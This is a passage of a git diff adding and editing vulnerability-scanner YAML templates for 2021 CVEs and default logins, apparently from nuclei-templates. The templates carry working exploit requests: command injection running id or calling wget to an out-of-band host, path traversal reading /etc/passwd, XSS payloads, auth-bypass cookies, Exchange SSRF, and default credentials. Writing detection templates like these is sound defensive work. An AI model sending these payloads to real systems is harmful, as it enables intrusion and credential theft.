WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 do not properly restrict access to sensitive information from an unauthorized actor. + reference: | + - https://nvd.nist.gov/vuln/detail/CVE-2021-20091 + - https://www.tenable.com/security/research/tra-2021-13 + - https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2 + tags: cve,cve2021,buffalo,firmware,iot + +requests: + - raw: + - | + GET /images/..%2finfo.html HTTP/1.1 + Host: {{Hostname}} + Referer: {{{{BaseURL}}}}/info.html + + - | + GET /images/..%2fcgi/cgi_i_filter.js?_tn={{trimprefix(base64_decode(httoken), base64_decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"))}} HTTP/1.1 + Host: {{Hostname}} + Cookie: lang=8; url=ping.html; mobile=false; + Referer: {{BaseURL}}/info.html + Accept-Encoding: gzip, deflate + Accept-Language: en-US,en;q=0.9 + Connection: close + Content-Type: application/x-www-form-urlencoded + Content-Length: 178 + + matchers-condition: and + matchers: + - type: word + part: header + words: + - "application/x-javascript" + - type: word + words: + - "/*DEMO*/" + - "addCfg(" + condition: and + + - type: status + status: + - 200 + + extractors: + - type: regex + name: httoken + internal: true + group: 1 + regex: + - 'base64\,(.*?)" border=' \ No newline at end of file diff --git a/cves/2021/CVE-2021-21389.yaml b/cves/2021/CVE-2021-21389.yaml index 02b322629c..7aecfc64a1 100644 --- a/cves/2021/CVE-2021-21389.yaml +++ b/cves/2021/CVE-2021-21389.yaml @@ -7,7 +7,9 @@ info: description: The BuddyPress WordPress plugin was affected by an REST API Privilege Escalation to RCE reference: - https://github.com/HoangKien1020/CVE-2021-21389 - - https://nvd.nist.gov/vuln/detail/CVE-2021-21389 + - https://buddypress.org/2021/03/buddypress-7-2-1-security-release/ + - https://codex.buddypress.org/releases/version-7-2-1/ + - https://github.com/buddypress/BuddyPress/security/advisories/GHSA-m6j4-8r7p-wpp3 tags: cve,cve2021,wordpress,wp-plugin,rce diff --git a/cves/2021/CVE-2021-21816.yaml b/cves/2021/CVE-2021-21816.yaml new file mode 100644 index 0000000000..e8df776430 --- /dev/null +++ b/cves/2021/CVE-2021-21816.yaml @@ -0,0 +1,28 @@ +id: CVE-2021-21816 + +info: + name: D-LINK DIR-3040 - Syslog Information Disclosure + description: An information disclosure vulnerability exists in the Syslog functionality of D-LINK DIR-3040 1.13B03. A specially crafted network request can lead to the disclosure of sensitive information. An attacker can send an HTTP request to trigger this vulnerability. + author: gy741 + severity: medium + reference: https://talosintelligence.com/vulnerability_reports/TALOS-2021-1281 + tags: cve,cve2021,dlink,exposure,router + +requests: + - method: GET + path: + - "{{BaseURL}}/messages" + + matchers-condition: and + matchers: + - type: word + words: + - "syslog:" + - "admin" + - "/etc_ro/lighttpd/www" + part: body + condition: and + + - type: status + status: + - 200 diff --git a/cves/2021/CVE-2021-24235.yaml b/cves/2021/CVE-2021-24235.yaml new file mode 100644 index 0000000000..6da6293c88 --- /dev/null +++ b/cves/2021/CVE-2021-24235.yaml @@ -0,0 +1,31 @@ +id: CVE-2021-24235 + +info: + name: Goto - Tour & Travel < 2.0 - Reflected Cross-Site Scripting (XSS) + author: daffainfo + severity: medium + reference: https://nvd.nist.gov/vuln/detail/CVE-2021-24235 + tags: cve,cve2021,wordpress,xss,wp-theme + +requests: + - method: GET + path: + - '{{BaseURL}}/tour-list/?keywords=%3Cinput%2FAutofocus%2F%250D*%2FOnfocus%3Dalert%28123%29%3B%3E&start_date=xxxxxxxxxxxx&avaibility=13' + + matchers-condition: and + matchers: + - type: word + words: + - "input/Autofocus/%0D*/Onfocus=alert(123);" + - "goto-tour-list-js-extra" + part: body + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2021/CVE-2021-24320.yaml b/cves/2021/CVE-2021-24320.yaml index 27ed4e29d1..90776f8a1c 100644 --- a/cves/2021/CVE-2021-24320.yaml +++ b/cves/2021/CVE-2021-24320.yaml @@ -5,7 +5,9 @@ info: author: daffainfo severity: medium description: The Bello - Directory & Listing WordPress theme before 1.6.0 did not properly sanitise and escape its listing_list_view, bt_bb_listing_field_my_lat, bt_bb_listing_field_my_lng, bt_bb_listing_field_distance_value, bt_bb_listing_field_my_lat_default, bt_bb_listing_field_keyword, bt_bb_listing_field_location_autocomplete, bt_bb_listing_field_price_range_from and bt_bb_listing_field_price_range_to parameter in ints listing page, leading to reflected Cross-Site Scripting issues. - reference: https://nvd.nist.gov/vuln/detail/CVE-2021-24320 + reference: | + - https://m0ze.ru/vulnerability/%5B2021-03-21%5D-%5BWordPress%5D-%5BCWE-79%5D-Bello-WordPress-Theme-v1.5.9.txt + - https://wpscan.com/vulnerability/6b5b42fd-028a-4405-b027-3266058029bb tags: cve,cve2021,wordpress,xss,wp-plugin requests: diff --git a/cves/2021/CVE-2021-26855.yaml b/cves/2021/CVE-2021-26855.yaml index 66650bcc75..a630ca1cab 100644 --- a/cves/2021/CVE-2021-26855.yaml +++ b/cves/2021/CVE-2021-26855.yaml @@ -6,7 +6,7 @@ info: severity: critical description: | Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, CVE-2021-27078. - tags: cve,cve2021,ssrf,rce,exchange + tags: cve,cve2021,ssrf,rce,exchange,oob reference: - https://proxylogon.com/#timeline - https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse @@ -18,19 +18,10 @@ requests: - | GET /owa/auth/x.js HTTP/1.1 Host: {{Hostname}} - User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 - Cookie: X-AnonResource=true; X-AnonResource-Backend=somethingnonexistent/ecp/default.flt?~3; X-BEResource=somethingnonexistent/owa/auth/logon.aspx?~3; - Accept-Language: en - Connection: close + Cookie: X-AnonResource=true; X-AnonResource-Backend={{interactsh-url}}/ecp/default.flt?~3; - matchers-condition: and matchers: - - type: status - status: - - 500 - - 503 - - type: word + part: interactsh_protocol # Confirms the HTTP Interaction words: - - 'X-Calculatedbetarget: somethingnonexistent' - part: header \ No newline at end of file + - "http" \ No newline at end of file diff --git a/cves/2021/CVE-2021-27561.yaml b/cves/2021/CVE-2021-27561.yaml new file mode 100644 index 0000000000..ca860d8534 --- /dev/null +++ b/cves/2021/CVE-2021-27561.yaml @@ -0,0 +1,38 @@ +id: CVE-2021-27561 + +info: + name: YeaLink DM PreAuth RCE + author: shifacyclewala,hackergautam + severity: critical + description: A malicious actor can trigger Unauthenticated Remote Code Execution + tags: cve,cve2021,rce,yealink + reference: https://ssd-disclosure.com/ssd-advisory-yealink-dm-pre-auth-root-level-rce/ + +requests: + - method: GET + path: + - "{{BaseURL}}/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;" + + matchers-condition: and + matchers: + - type: word + condition: and + part: body + words: + - 'uid' + - 'gid' + - 'groups' + + - type: word + part: header + words: + - 'application/json' + + - type: status + status: + - 200 + + extractors: + - type: regex + regex: + - "(u|g)id=.*" diff --git a/cves/2021/CVE-2021-27905.yaml b/cves/2021/CVE-2021-27905.yaml index 80bd8c5a90..cdfbaa9e20 100644 --- a/cves/2021/CVE-2021-27905.yaml +++ b/cves/2021/CVE-2021-27905.yaml @@ -26,13 +26,14 @@ requests: Accept-Language: en Connection: close + extractors: - type: regex - regex: - - '"status"\:\{"(.*?)"\:\{"name"' + internal: true name: core group: 1 - internal: true + regex: + - '"name"\:"(.*?)"' matchers: - type: word diff --git a/cves/2021/CVE-2021-28151.yaml b/cves/2021/CVE-2021-28151.yaml index 0fd026b156..0b2c9fed15 100644 --- a/cves/2021/CVE-2021-28151.yaml +++ b/cves/2021/CVE-2021-28151.yaml @@ -64,5 +64,6 @@ requests: words: - "uid=" - "gid=" + - "groups=" part: body condition: and diff --git a/cves/2021/CVE-2021-29203.yaml b/cves/2021/CVE-2021-29203.yaml index 00d1cd8215..8f28e7f006 100644 --- a/cves/2021/CVE-2021-29203.yaml +++ b/cves/2021/CVE-2021-29203.yaml @@ -4,6 +4,7 @@ info: author: madrobot severity: critical tags: hpe,cve,cve2021,bypass + description: A security vulnerability has been identified in the HPE Edgeline Infrastructure Manager, also known as HPE Edgeline Infrastructure Management Software, prior to version 1.22. The vulnerability could be remotely exploited to bypass remote authentication leading to execution of arbitrary commands, gaining privileged access, causing denial of service, and changing the configuration. HPE has released a software update to resolve the vulnerability in the HPE Edgeline Infrastructure Manager. reference: - https://www.tenable.com/security/research/tra-2021-15 - https://nvd.nist.gov/vuln/detail/CVE-2021-29203 diff --git a/cves/2021/CVE-2021-29484.yaml b/cves/2021/CVE-2021-29484.yaml new file mode 100644 index 0000000000..1182c01f6c --- /dev/null +++ b/cves/2021/CVE-2021-29484.yaml @@ -0,0 +1,32 @@ +id: CVE-2021-29484 + +info: + name: DOM XSS in Ghost CMS + author: rootxharsh,iamnoooob + description: Ghost is a Node.js CMS. An unused endpoint added during the development of 4.0.0 has left sites vulnerable to untrusted users gaining access to Ghost Admin. Attackers can gain access by getting logged in users to click a link containing malicious code. Users do not need to enter credentials and may not know they've visited a malicious site. + severity: medium + tags: cve,cve2021,xss,ghost + reference: | + - https://github.com/TryGhost/Ghost/security/advisories/GHSA-9fgx-q25h-jxrg + - https://nvd.nist.gov/vuln/detail/CVE-2021-29484 + +requests: + - method: GET + path: + - "{{BaseURL}}/ghost/preview" + + matchers-condition: and + matchers: + - type: word + words: + - 'XMLHttpRequest.prototype.open' + part: body + + - type: word + words: + - 'text/html' + part: header + + - type: status + status: + - 200 diff --git a/cves/2021/CVE-2021-3017.yaml b/cves/2021/CVE-2021-3017.yaml new file mode 100644 index 0000000000..0b5d2358bc --- /dev/null +++ b/cves/2021/CVE-2021-3017.yaml @@ -0,0 +1,35 @@ +id: CVE-2021-3017 + +info: + name: Intelbras WIN 300/WRN 342 Disclosure + author: pikpikcu + severity: high + description: The web interface on Intelbras WIN 300 and WRN 342 devices through 2021-01-04 allows remote attackers to discover credentials by reading the def_wirelesspassword line in the HTML source code. + reference: | + - https://poc.wgpsec.org/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/Intelbras/Intelbras%20Wireless%20%E6%9C%AA%E6%8E%88%E6%9D%83%E4%B8%8E%E5%AF%86%E7%A0%81%E6%B3%84%E9%9C%B2%20CVE-2021-3017.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-3017 + tags: cve,cve2021,exposure,router + +requests: + - method: GET + path: + - "{{BaseURL}}/index.asp" + + matchers-condition: and + matchers: + - type: word + words: + - 'def_wirelesspassword =' + - 'Roteador Wireless' + part: body + condition: and + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + regex: + - 'def_wirelesspassword = "([A-Za-z0-9=]+)";' diff --git a/cves/2021/CVE-2021-30497.yaml b/cves/2021/CVE-2021-30497.yaml index e2a3ea14f8..0c94b9f41b 100644 --- a/cves/2021/CVE-2021-30497.yaml +++ b/cves/2021/CVE-2021-30497.yaml @@ -4,6 +4,7 @@ info: name: Ivanti Avalanche Directory Traversal author: gy741 severity: high + description: A directory traversal vulnerability in Ivanti Avalanche allows remote unauthenticated user to access files that reside outside the 'image' folder reference: https://ssd-disclosure.com/ssd-advisory-ivanti-avalanche-directory-traversal/ tags: cve,cve2021,avalanche,traversal diff --git a/cves/2021/CVE-2021-31581.yaml b/cves/2021/CVE-2021-31581.yaml index d1ae4aeb7e..4239a6763e 100644 --- a/cves/2021/CVE-2021-31581.yaml +++ b/cves/2021/CVE-2021-31581.yaml @@ -25,3 +25,8 @@ requests: - "name:" - "pass:" condition: and + + - type: word + words: + - "html>" + negative: true diff --git a/cves/2021/CVE-2021-32030.yaml b/cves/2021/CVE-2021-32030.yaml new file mode 100644 index 0000000000..b0db1c2b47 --- /dev/null +++ b/cves/2021/CVE-2021-32030.yaml @@ -0,0 +1,37 @@ +id: CVE-2021-32030 + +info: + name: ASUS GT-AC2900 - Authentication Bypass + author: gy741 + severity: high + description: The administrator application on ASUS GT-AC2900 devices before 3.0.0.4.386.42643 allows authentication bypass when processing remote input from an unauthenticated user, leading to unauthorized access to the administrator interface. This relates to handle_request in router/httpd/httpd.c and auth_check in web_hook.o. An attacker-supplied value of '\0' matches the device's default value of '\0' in some situations. + reference: https://www.atredis.com/blog/2021/4/30/asus-authentication-bypass + tags: cve,cve2021,asus,auth-bypass,router + +requests: + - raw: + - | + GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1 + Host: {{Hostname}} + User-Agent: asusrouter-- + Connection: close + Referer: {{BaseURL}} + Cookie: asus_token=\0Invalid; clickedItem_tab=0 + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: header + words: + - application/json + + - type: word + words: + - "get_cfg_clientlist" + - "alias" + - "model_name" + condition: and diff --git a/cves/2021/CVE-2021-3223.yaml b/cves/2021/CVE-2021-3223.yaml index 2fa3648750..801dd5b095 100644 --- a/cves/2021/CVE-2021-3223.yaml +++ b/cves/2021/CVE-2021-3223.yaml @@ -2,7 +2,7 @@ id: CVE-2021-3223 info: name: Node RED Dashboard - Directory Traversal - author: gy741 + author: gy741,pikpikcu severity: high description: Node-RED-Dashboard before 2.26.2 allows ui_base/js/..%2f directory traversal to read files. reference: @@ -14,8 +14,16 @@ requests: - method: GET path: - '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd' + - '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2fsettings.js' + matchers-condition: or matchers: - type: regex + part: body regex: - "root:.*:0:0:" + + - type: word + part: body + words: + - "Node-RED web server is listening" diff --git a/cves/2021/CVE-2021-32305.yaml b/cves/2021/CVE-2021-32305.yaml new file mode 100644 index 0000000000..0326dec716 --- /dev/null +++ b/cves/2021/CVE-2021-32305.yaml @@ -0,0 +1,25 @@ +id: CVE-2021-32305 + +info: + name: Websvn 2.6.0 - Remote Code Execution (Unauthenticated) + description: WebSVN before 2.6.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the search parameter. + author: gy741 + severity: critical + reference: | + - https://nvd.nist.gov/vuln/detail/CVE-2021-32305 + - https://packetstormsecurity.com/files/163225/Websvn-2.6.0-Remote-Code-Execution.html + tags: cve,cve2021,websvn,rce,oob + +requests: + - raw: + - | + GET /search.php?search=%22;wget+http%3A%2F%2F{{interactsh-url}}%27;%22 HTTP/1.1 + Host: {{Hostname}} + Accept-Encoding: gzip, deflate + Accept: */* + + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" diff --git a/cves/2021/CVE-2021-3297.yaml b/cves/2021/CVE-2021-3297.yaml new file mode 100644 index 0000000000..dd73110c6d --- /dev/null +++ b/cves/2021/CVE-2021-3297.yaml @@ -0,0 +1,34 @@ +id: CVE-2021-3297 +info: + name: Zyxel NBG2105 V1.00(AAGU.2)C0 - Authentication Bypass + description: On Zyxel NBG2105 V1.00(AAGU.2)C0 devices, setting the login cookie to 1 provides administrator access. + author: gy741 + severity: high + reference: | + - https://nvd.nist.gov/vuln/detail/CVE-2021-3297 + - https://github.com/nieldk/vulnerabilities/blob/main/zyxel%20nbg2105/Admin%20bypass + tags: cve,cve2021,zyxel,auth-bypass,router + +requests: + - raw: + - | + GET /status.htm HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 + Accept-Encoding: gzip, deflate + Accept: */* + Connection: keep-alive + cookie: language=en; login=1 + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "Running Time" + - "Firmware Version" + - "Firmware Build Time" + condition: and diff --git a/cves/2021/CVE-2021-33807.yaml b/cves/2021/CVE-2021-33807.yaml new file mode 100644 index 0000000000..a53d190db8 --- /dev/null +++ b/cves/2021/CVE-2021-33807.yaml @@ -0,0 +1,33 @@ +id: CVE-2021-33807 + +info: + name: Cartadis Gespage 8.2.1 - Directory Traversal + author: daffainfo + severity: high + description: Cartadis Gespage through 8.2.1 allows Directory Traversal in gespage/doDownloadData and gespage/webapp/doDownloadData. + reference: | + - https://www.on-x.com/sites/default/files/on-x_-_security_advisory_-_gespage_-_cve-2021-33807.pdf + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33807 + tags: cve,cve2021,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/gespage/doDownloadData?file_name=../../../../../Windows/debug/NetSetup.log" + + matchers-condition: and + matchers: + + - type: word + words: + - "NetpDoDomainJoin:" + part: body + + - type: word + words: + - "application/octet-stream" + part: header + + - type: status + status: + - 200 diff --git a/cves/2021/CVE-2021-34473.yaml b/cves/2021/CVE-2021-34473.yaml new file mode 100644 index 0000000000..22b856d488 --- /dev/null +++ b/cves/2021/CVE-2021-34473.yaml @@ -0,0 +1,27 @@ +id: CVE-2021-34473 + +info: + name: Exchange Server SSRF (ProxyShell) + author: arcc,intx0x80,dwisiswant0,r3dg33k + severity: critical + description: | + Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-31196, CVE-2021-31206. + reference: | + - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473 + - https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html + - https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1 + tags: cve,cve2021,ssrf,rce,exchange + +requests: + - method: GET + path: + - '{{BaseURL}}/autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com' + - '{{BaseURL}}/autodiscover/autodiscover.json?@test.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3F@test.com' + + matchers: + - type: word + part: body + condition: or + words: + - "Microsoft.Exchange.Clients.Owa2.Server.Core.OwaADUserNotFoundException" + - "Exchange MAPI/HTTP Connectivity Endpoint" \ No newline at end of file diff --git a/cves/2021/CVE-2021-34621.yaml b/cves/2021/CVE-2021-34621.yaml index 0c9e8e6232..8e59a60f28 100644 --- a/cves/2021/CVE-2021-34621.yaml +++ b/cves/2021/CVE-2021-34621.yaml @@ -75,7 +75,7 @@ requests: -----------------------------138742543134772812001999326589-- - | - POST /wp-admin/admin-ajax.php HTTP/1.1 + POST /wp-login.php HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: application/json, text/javascript, */*; q=0.01 @@ -85,7 +85,7 @@ requests: Referer: {{BaseURL}} Connection: close - action=pp_ajax_login&data=login_username={{randstr}}@example.com&login_password={{randstr}}@example.com + log={{randstr}}@example.com&pwd={{randstr}}@example.com&wp-submit=Log+In - | GET /wp-admin/ HTTP/1.1 @@ -93,14 +93,14 @@ requests: Accept: */* Connection: close - redirects: true cookie-reuse: true matchers-condition: and matchers: - type: word part: body words: - - "welcome-panel" + - "Welcome to your WordPress Dashboard" + - type: status status: - 200 diff --git a/cves/2021/CVE-2021-35336.yaml b/cves/2021/CVE-2021-35336.yaml new file mode 100644 index 0000000000..3d974df91c --- /dev/null +++ b/cves/2021/CVE-2021-35336.yaml @@ -0,0 +1,39 @@ +id: CVE-2021–35336 + +info: + name: Unauthorised Remote Access of Internal Panel + author: Pratik Khalane + severity: critical + description: Finding the Tieline Admin Panels with default credentials. + reference: | + - https://pratikkhalane91.medium.com/use-of-default-credentials-to-unauthorised-remote-access-of-internal-panel-of-tieline-c1ffe3b3757c + - https://nvd.nist.gov/vuln/detail/CVE-2021-35336 + tags: cve,cve2021,tieline,default-login + +# admin:password + +requests: + - method: GET + path: + - '{{BaseURL}}/api/get_device_details' + headers: + User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 + Referer: '{{BaseURL}}/assets/base/home.html' + Authorization: 'Digest username="admin", realm="Bridge-IT", nonce="d24d09512ebc3e43c4f6faf34fdb8c76", uri="/api/get_device_details", response="d052e9299debc7bd9cb8adef0a83fed4", qop=auth, nc=00000001, cnonce="ae373d748855243d"' + + matchers-condition: and + matchers: + - type: word + words: + - "" + - "" + condition: and + + - type: word + words: + - "text/xml" + part: header + + - type: status + status: + - 200 diff --git a/cves/2021/CVE-2021-35464.yaml b/cves/2021/CVE-2021-35464.yaml index 3abdd62638..b8984f1cc8 100644 --- a/cves/2021/CVE-2021-35464.yaml +++ b/cves/2021/CVE-2021-35464.yaml @@ -31,4 +31,6 @@ requests: - type: word words: - "Version Information -" - part: body \ No newline at end of file + - "openam/ccversion/Masthead.jsp" + part: body + condition: or diff --git a/cves/2021/CVE-2021-36380.yaml b/cves/2021/CVE-2021-36380.yaml new file mode 100644 index 0000000000..f267fd3f68 --- /dev/null +++ b/cves/2021/CVE-2021-36380.yaml @@ -0,0 +1,24 @@ +id: CVE-2021-36380 + +info: + name: Sunhillo SureLine - Unauthenticated OS Command Injection + description: The /cgi/networkDiag.cgi script directly incorporated user-controllable parameters within a shell command, allowing an attacker to manipulate the resulting command by injecting valid OS command input. The following POST request injects a new command that instructs the server to establish a reverse TCP connection to another system, allowing the establishment of an interactive remote shell session. + author: gy741 + severity: critical + reference: | + - https://research.nccgroup.com/2021/07/26/technical-advisory-sunhillo-sureline-unauthenticated-os-command-injection-cve-2021-36380/ + tags: cve,cve2021,sureline,rce,oob + +requests: + - raw: + - | + POST /cgi/networkDiag.cgi HTTP/1.1 + Host: {{Hostname}} + + command=2&ipAddr=&dnsAddr=$(wget+http://{{interactsh-url}})&interface=0&netType=0&scrFilter=&dstFilter=&fileSave=false&pcapSave=false&fileSize= + + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" diff --git a/cves/2021/CVE-2021-37216.yaml b/cves/2021/CVE-2021-37216.yaml new file mode 100644 index 0000000000..33de2b4095 --- /dev/null +++ b/cves/2021/CVE-2021-37216.yaml @@ -0,0 +1,36 @@ +id: CVE-2021-37216 + +info: + name: QSAN Storage Manager prior to v3.3.3 Reflected XSS + author: dwisiswant0 + description: | + QSAN Storage Manager header page parameters does not filter special characters. + Remote attackers can inject JavaScript without logging in and launch + reflected XSS attacks to access and modify specific data. + reference: https://www.twcert.org.tw/tw/cp-132-4962-44cd2-1.html + severity: medium + tags: cve,cve2021,xss,qsan + +requests: + - method: GET + path: + - "{{BaseURL}}/http_header.php" + headers: + X-Trigger-XSS: "" + + matchers-condition: and + matchers: + + - type: word + part: body + words: + - '"HTTP_X_TRIGGER_XSS":""' + + - type: word + part: header + words: + - "text/html" + + - type: dsl + dsl: + - "!contains(tolower(all_headers), 'x-xss-protection')" \ No newline at end of file diff --git a/cves/2021/CVE-2021-37573.yaml b/cves/2021/CVE-2021-37573.yaml new file mode 100644 index 0000000000..6c9c42fe15 --- /dev/null +++ b/cves/2021/CVE-2021-37573.yaml @@ -0,0 +1,30 @@ +id: CVE-2021-37573 + +info: + name: Tiny Java Web Server - Reflected XSS + author: geeknik + severity: medium + reference: + - https://seclists.org/fulldisclosure/2021/Aug/13 + tags: cve,cve2021,xss,tjws + +requests: + - method: GET + path: + - "{{BaseURL}}/te%3Cimg%20src=x%20onerror=alert(42)%3Est" + + matchers-condition: and + matchers: + - type: status + status: + - 404 + + - type: word + part: body + words: + - "

404 test not found

" + + - type: word + part: header + words: + - text/html diff --git a/cves/2021/CVE-2021-37704.yaml b/cves/2021/CVE-2021-37704.yaml new file mode 100644 index 0000000000..124362cab5 --- /dev/null +++ b/cves/2021/CVE-2021-37704.yaml @@ -0,0 +1,36 @@ +id: CVE-2021-37704 + +info: + name: phpfastcache phpinfo exposure + author: whoever + severity: low + description: phpinfo() exposure in unprotected composer vendor folder via phpfastcache/phpfastcache. + tags: cve,cve2021,exposure,phpfastcache + reference: | + https://github.com/PHPSocialNetwork/phpfastcache/pull/813 + https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37704 + +requests: + - method: GET + path: + - "{{BaseURL}}/vendor/phpfastcache/phpfastcache/docs/examples/phpinfo.php" + - "{{BaseURL}}/vendor/phpfastcache/phpfastcache/examples/phpinfo.php" + + matchers-condition: and + matchers: + - type: word + words: + - "PHP Extension" + - "PHP Version" + condition: and + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + group: 1 + regex: + - '>PHP Version <\/td>([0-9.]+)' diff --git a/cves/2021/CVE-2021-38702.yaml b/cves/2021/CVE-2021-38702.yaml new file mode 100644 index 0000000000..c17a52845f --- /dev/null +++ b/cves/2021/CVE-2021-38702.yaml @@ -0,0 +1,29 @@ +id: CVE-2021-38702 + +info: + name: Cyberoam NetGenie XSS + author: geeknik + severity: medium + description: Cyberoam NetGenie C0101B1-20141120-NG11VO devices through 2021-08-14 allow for reflected Cross Site Scripting via the 'u' parameter of ft.php. + reference: https://seclists.org/fulldisclosure/2021/Aug/20 + tags: cve,cve2021,cyberoam,netgenie,xss,router + +requests: + - method: GET + path: + - "{{BaseURL}}/tweb/ft.php?u=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + words: + - "" + + - type: word + words: + - "text/html" + part: header + + - type: status + status: + - 200 diff --git a/default-logins/azkaban/azkaban-web-client-default-creds.yaml b/default-logins/azkaban/azkaban-web-client-default-creds.yaml new file mode 100644 index 0000000000..9d2c161334 --- /dev/null +++ b/default-logins/azkaban/azkaban-web-client-default-creds.yaml @@ -0,0 +1,41 @@ +id: azkaban-web-client-default-creds + +info: + name: Azkaban Web Client Default Credential + author: pussycat0x + severity: high + reference: https://www.shodan.io/search?query=http.title%3A%22Azkaban+Web+Client%22 + tags: default-login,azkaban + +requests: + - raw: + - | + POST / HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + action=login&username=admin&password=admin + + matchers-condition: and + matchers: + - type: word + words: + - '"session.id"' + - '"success"' + condition: and + + - type: word + words: + - 'azkaban.browser.session.id' + - 'application/json' + condition: and + part: header + + - type: status + status: + - 200 + + extractors: + - type: kval + kval: + - azkaban.browser.session.id diff --git a/default-logins/guacamole/guacamole-default-login.yaml b/default-logins/guacamole/guacamole-default-login.yaml new file mode 100644 index 0000000000..811d0daf45 --- /dev/null +++ b/default-logins/guacamole/guacamole-default-login.yaml @@ -0,0 +1,37 @@ +id: guacamole-default-credentials + +info: + name: Guacamole Default Credentials + author: r3dg33k + severity: high + tags: guacamole,default-login + reference: https://wiki.debian.org/Guacamole#:~:text=You%20can%20now%20access%20the,password%20are%20both%20%22guacadmin%22. + +requests: + - raw: + - | + POST /api/tokens HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + Origin: {{Hostname}} + Referer: {{Hostname}} + + username=guacadmin&password=guacadmin + + matchers-condition: and + matchers: + - type: word + words: + - '"username"' + - '"authToken"' + - '"guacadmin"' + condition: and + + - type: word + words: + - 'application/json' + part: header + + - type: status + status: + - 200 \ No newline at end of file diff --git a/default-logins/oracle/oracle-bi-default-credentials.yaml b/default-logins/oracle/oracle-bi-default-credentials.yaml index 1219ef549f..25da32202d 100644 --- a/default-logins/oracle/oracle-bi-default-credentials.yaml +++ b/default-logins/oracle/oracle-bi-default-credentials.yaml @@ -4,7 +4,7 @@ info: name: Oracle Business Intelligence Default Credentials author: milo2012 severity: high - tags: oracle,dlogin + tags: oracle,default-login requests: - raw: diff --git a/dns/nameserver-detection.yaml b/dns/can-i-take-over-dns.yaml similarity index 58% rename from dns/nameserver-detection.yaml rename to dns/can-i-take-over-dns.yaml index 8d2f5c43d3..0c2c3d7052 100644 --- a/dns/nameserver-detection.yaml +++ b/dns/can-i-take-over-dns.yaml @@ -1,10 +1,10 @@ -id: nameserver-detection +id: can-i-take-over-dns info: - name: NS Detection + name: Can I Take Over DNS - Fingerprint author: pdteam severity: info - tags: dns,ns + tags: dns,ns,takeover reference: https://github.com/indianajson/can-i-take-over-dns dns: @@ -41,11 +41,6 @@ dns: - "ns1.bizland.com" - "ns2.bizland.com" - - type: word - name: cloudflare - words: - - "ns.cloudflare.com" - - type: word name: digitalocean condition: or @@ -113,13 +108,6 @@ dns: - "ns1.linode.com" - "ns1.linode.com" - - type: word - name: mediatemple - condition: or - words: - - "ns1.mediatemple.net" - - "ns2.mediatemple.net" - - type: word name: mydomain condition: or @@ -150,83 +138,3 @@ dns: words: - "yns1.yahoo.com" - "yns2.yahoo.com" - - - type: word - name: domainpeople - condition: or - words: - - "ns1.domainpeople.com" - - "ns2.domainpeople.com" - - - type: word - name: hover - condition: or - words: - - "ns1.hover.com" - - "ns2.hover.com" - - - type: word - name: networksolutions - words: - - ".worldnic.com" - - - type: word - name: activision - words: - - ".activision.com" - - - type: word - name: aws-route53 - words: - - ".awsdns-" - - - type: word - name: apple - condition: or - words: - - "a.ns.apple.com" - - "b.ns.apple.com" - - "c.ns.apple.com" - - "d.ns.apple.com" - - - type: word - name: capitalone - condition: or - words: - - "ns1.capitalone.com" - - "ns2.capitalone.com" - - "ns3.capitalone.com" - - - type: word - name: csust - condition: or - words: - - "0xd0a1.csust.netm" - - "0xd0a2.csust.net" - - "0xd0a3.csust.net" - - "0xd0a4.csust.net" - - - type: word - name: disney - condition: or - words: - - "ns1.twdcns.com" - - "ns2.twdcns.com" - - "ns3.twdcns.info" - - "ns4.twdcns.info" - - "ns5.twdcns.co.uk" - - "ns6.twdcns.co.uk" - - - type: word - name: lowes - 